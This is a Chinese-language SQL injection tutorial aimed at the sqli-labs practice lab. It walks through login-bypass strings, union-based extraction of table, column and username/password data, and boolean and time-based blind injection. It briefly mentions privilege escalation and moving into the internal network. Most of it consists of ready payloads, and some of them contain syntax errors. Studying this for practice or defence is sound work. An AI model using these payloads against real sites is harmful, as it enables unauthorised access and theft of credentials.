sql注入漏洞,主要介绍有以下几种
5.0mysql数据库特性
手工注入一般步骤
常用的万能密码
联和注入
基于布尔的盲注
基于时间的盲注
5.0mysql数据库特性
information _schema
自带,系统库,汇总(其他数据库的库名,表名,字段名)**
table_schema 其他数据库的库名
table_name 其他数据库表名
column_name 字段名
手工注入一般步骤
step 1 :判断是否有注入点 ‘(判断凑个后台数据库中农选取的列数,判断那几列在前段显示)
step 2: 收集数据库信息(用户名 版本,当前数据库名等等)
step 3:获取当前数据库下所有的表名
step 4:获取当前数据库下制定表中的字段名
step 5:获取字段对应的数据
step 6:破解数据库,**提权,内网渗透 (找后台 admin admin.php admin_login.php)*
常用我常用万能密码
万能密码:利用sql注入漏洞,提交恶意的数据(在用户名出提交含有恶意的功能的sql数据 )
select * from news where tid=0 or 1=1;(用真现实所有信息)
用户名:1‘ or 1=1#
密码:123
用户名:1‘ or ‘a’=’a’#
密码:123
联和注入(union)
step1.判断注入点
http://127.0.0.1/sqli-labs-master/Less-1/?id=1
确定列数和位置(显错、显示数据)
http://127.0.0.1/sqli-labs-master/Less-1/?id=1 ‘ order by 4 –+
order by 后变动数字,根据页面显示效果判断列数 3
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1 ‘+UNION+ALL+SELECT+1,2,3–+
union select 后跟3个数字,同时要把typeid=1 对应的结果屏蔽掉
step 2:收集信息
所有数据库
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1 ‘+UNION+ALL+SELECT+1,(select group_concat(distinct table_schema) from information_schema.columns),3–+**
当前数据库
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1 ‘+UNION+ALL+SELECT+1,(database()),3–+
数据库版本
version()
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1 ‘+UNION+ALL+SELECT+1,(version()),3–+
用户
user()
临时文件夹
@@tmpdir
数据库文件所在的位置
@@datadir
step 3:获取当前数据库下表名
1 | http://127.0.0.1/sqli-labs-master/Less-1/?id=-1 '+UNION+ALL+SELECT+1,(select group_concat(distinct table_name) from information_schema.columns where table_schema=database()),3--+ |
step 4:获取当前数据库下指定表的字段名
1 | http://127.0.0.1/sqli-labs-master/Less-1/?id=-1 '+UNION+ALL+SELECT+1,(select group_concat(distinct column_name ) from information_schema.columns where table_schema=database() and table_name=0x7573657273),3--+ |
step 5:获取字段数据
1 | http://127.0.0.1/sqli-labs-master/Less-1/?id=-1 '+UNION+ALL+SELECT+1,(select concat_ws(0x7e,username,password) from users limit 0,1),3--+ |
基于布尔的盲注探测
step 1:探测注入点
1 | ' 1' and 1=1 # /1 'and '1'='1'#** |
step 2收集数据信息 (当前数据库)
1 | http://127.0.0.1/sqli-labs-master/Less-8/?id=1 'and length(user())=5 23% |
用户名第一个字符是r
step3 查询当前数据库
1 | http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select distinct table_name from information_schema.columns where table_schema=database()limit 0,1)1,1))=100%23 |
step 4 查询表名
1 | http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select distinct column_name from information_schema.columns where table_name=user limit 0,1)1,1))=100 %23 |
step 5 获取字段名字
1 | http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select concat(username,0x3a,password) from users limit 0,1)1,1))=68 %23 |
step 6破解密码
基于时间的盲注
sleep()函数介绍:
sleep() benchmark() 要与条件类函数配置使用
sleep(参数) 参数直接写以秒为单位的时间数字 sleep(5)
benchmark(参数1,参数2) 参数1 表示执行某项操作的次数 参数2 某项操作,函数或者表达式
1 | select if(length(user())>4,benchmark(5000000,md5('abc')),'bye')** |
实验操作:
step 1 :找注入点
step 2:收集数据库信息
*当前数据库长度:
1 | http://127.0.0.1/sqli-labs-master/Less-10/?id=1'and select \* from users where id=1 and select if(length(database())=4,sleep(5),'bye'); |
探测数据库名的每个字符:
1 | select \* from users where id=1 and select if(ascii(subtring(database(),1,1))=107,1,sleep(5)); |
step 3:获取数据库中的表
1 | select \* from users where id=1 and select if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100,1,sleep(5)); |
step 4:获取字段名
1 | select \* from users where id=1 and select if((ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>100,1,sleep(5)); |
step 5:获取字段内容
1 | select \* from users where id=1 and select if((ascii(substr(( select password from users limit 0,1),1,1)))=68,1,sleep(5)); |